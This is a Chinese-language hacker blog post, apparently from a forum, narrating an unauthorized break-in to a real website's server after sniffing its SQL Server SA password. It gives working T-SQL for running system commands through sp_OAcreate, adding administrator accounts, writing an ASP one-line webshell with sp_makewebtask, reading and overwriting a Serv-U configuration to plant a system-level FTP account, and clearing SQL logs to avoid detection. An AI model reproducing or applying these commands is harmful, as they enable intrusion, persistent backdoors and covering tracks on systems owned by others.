前幾天在搞一個站的時候嗅到了一個SA密碼 但是用sql tool連上之后發(fā)現(xiàn)怎么也不能執(zhí)行DOS命令
郁悶了 今天突然想到可以用存儲過程來搞定這個
服務(wù)器~
首先在本地用sql server的查詢分析器連上他 權(quán)限當(dāng)然是SA啦
但是在執(zhí)行exec master.dbo.xp_cmdshell'net user'的時候卻提示跟sql tool一樣的錯誤 看來xp_cmdshell確
實不能用
錯誤消息
50001,級別 1,狀態(tài) 50001
xpsql.cpp: 錯誤 5 來自 CreateProcess(第 737 行)
可能是某個相關(guān)的DLL文件被刪除了
如圖1

看來xp_cmdshell是不能用鳥~ 不過偶們還有SP_OAcreate可以用 用SP_OAcreate一樣可以執(zhí)行系統(tǒng)命令
在查詢分析器里執(zhí)行
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add'
這段代碼就是利用SP_OAcreate來添加一個gydyhook的系統(tǒng)用戶 然后直接提升為管理員權(quán)限就OK了
提示命令完成成功 說明SP_OAcreate并沒有被刪除 我們用終端連一下
如圖2
圖3


居然提示密碼錯誤?難道是wscript.shell被刪了?其實這里的判斷只是經(jīng)驗而你 你要問我怎么判斷服務(wù)器是
做了密碼策略還是wscript.shell被刪 我只能告訴你這是經(jīng)驗而已
雖然wscript.shell被刪了 但是我們還是有FSO嘛。 先試著列下目錄 找到WEB目錄搞個SHELL再說
使用exec master.dbo.xp_subdirs 'c:\'來查看C盤的目錄 發(fā)現(xiàn)完全可以列目錄
列目錄沒問題了 然后偶查看D盤的時候發(fā)現(xiàn)有D:\web這個目錄 隨便找一個網(wǎng)站在IE里打看發(fā)現(xiàn)存在這個網(wǎng)站
然后列出來幾個目錄發(fā)現(xiàn)這個網(wǎng)站還有ewebeditor 不過偶們今天不用他 因為有SA嘛 也不用去備份了 直接寫
個一句話進去
語句如下
exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '
提示命令執(zhí)行成功偶們看看效果
如圖4
如圖5


看來小馬寫進去鳥~ 一點沒問題 剩下的就是寫入大馬啦 然后提權(quán)之~ 哈哈 但是意想不到的事情又發(fā)生了
NND竟然不讓我傳大馬 我日 提示ADODB.Stream 錯誤 '800a0bbc' 寫入文件失敗。 然后換了N個目錄都寫不進
去
然后我又列出來其他的目錄寫小馬進去 但是都傳不了大馬 看來管理員把整個WEB目錄都設(shè)置成了只讀
如圖6

NND我都有SA了還不信搞不定這個服務(wù)器 差點忘記了還可以用沙盤 嘿嘿 看來一著急腦子就亂
查詢分析器里執(zhí)行select * from openrowset('microsoft.jet.oledb.4.0','
;database=c:\windows\system32\ias\ias.mdb',
'select shell("cmd.exe /c net user admin admin1234 /add")')來利用沙盤來添加個管理員 但是事實告訴
我 我的RP并不好
如圖7

既然沙盤也不行 那就另尋出路吧
剛才列目錄的時候好象看見了Serv-U6.3 但是使用exec master.dbo.xp_subdirs 'd:\Serv-U6.3'的時候發(fā)現(xiàn)看
不到文件夾里的內(nèi)容 不過沒關(guān)系~ 偶們不是有一句話么。雖然沒有寫的權(quán)限 但是讀的權(quán)限總改有吧 直接在
一句話里查看目錄就OK了 雖然能看目錄 但是用ASP馬,也不能讀出SERV——U配置文件來 看來還得用存儲過程
如圖8

既然找到了SU的目錄那偶就想能不能利用一句話寫配置信息到ServUDaemon.ini里 然后利用SU來提權(quán) 但是事實
證明這個破站權(quán)限太牛X了 只能看不能寫 不過沒關(guān)系 偶們還可以利用存儲過程
嘿嘿 使用declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
這段代碼就可以把ServUDaemon.ini里的配置信息全部顯示出來 嘿嘿 既然能看了那偶門不是一樣可以寫進去?
直接寫一個系統(tǒng)權(quán)限的
FTP帳號 進去
使用declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 《這里添寫自己寫好的SU配置信息 剛才復(fù)制的那些都要
寫上去》
然后執(zhí)行一下 成功執(zhí)行 我們再用存儲過程看看寫進去沒有
如圖9

OK 我XXXXXX 成功寫進去了一個用戶名為XXXX密碼為空的系統(tǒng)權(quán)限的
FTP 然后偶們在
FTP里執(zhí)行
quote siteXXXXXXX 提權(quán)就好了。 這里已經(jīng)很熟悉了 就不寫了。~ 然后用3389連一下 成功地到服務(wù)器權(quán)限
然后偶們再用set nocount on
declare @logicalfilename sysname,
@maxminutes int,
@newsize int 來清理掉SQL日志 免的被管理員發(fā)現(xiàn)
整個的提權(quán)過程大部分都是用存儲過程來完成的。其實這些東西在以前提權(quán)的時候都沒有想到。
感覺這個思路很不錯 所以寫出來 各位大牛見笑了